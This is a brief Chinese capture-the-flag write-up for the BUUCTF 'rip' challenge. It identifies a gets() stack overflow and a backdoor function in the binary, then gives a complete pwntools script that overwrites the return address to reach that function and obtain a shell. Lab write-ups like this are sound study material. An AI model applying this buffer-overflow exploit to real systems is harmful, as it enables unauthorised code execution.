rip
使用checksec
查看:
保护措施全部关闭。
放进IDA中分析:
-
gets()
:存在栈溢出
fun()
:
- 存在后门函数
步骤解析
s 距离 rbp
0xF
,无canary,直接覆盖即可
完整exp
from pwn import *
p = process("../buu/rip")
# p = remote("node4.buuoj.cn",27965)
elf = ELF("../buu/rip")
fun_addr = elf.symbols['fun']
payload = b'M' * (0xF + 8) + p64(fun_addr-1) +p64(fun_addr)
p.sendline(payload)
p.interactive()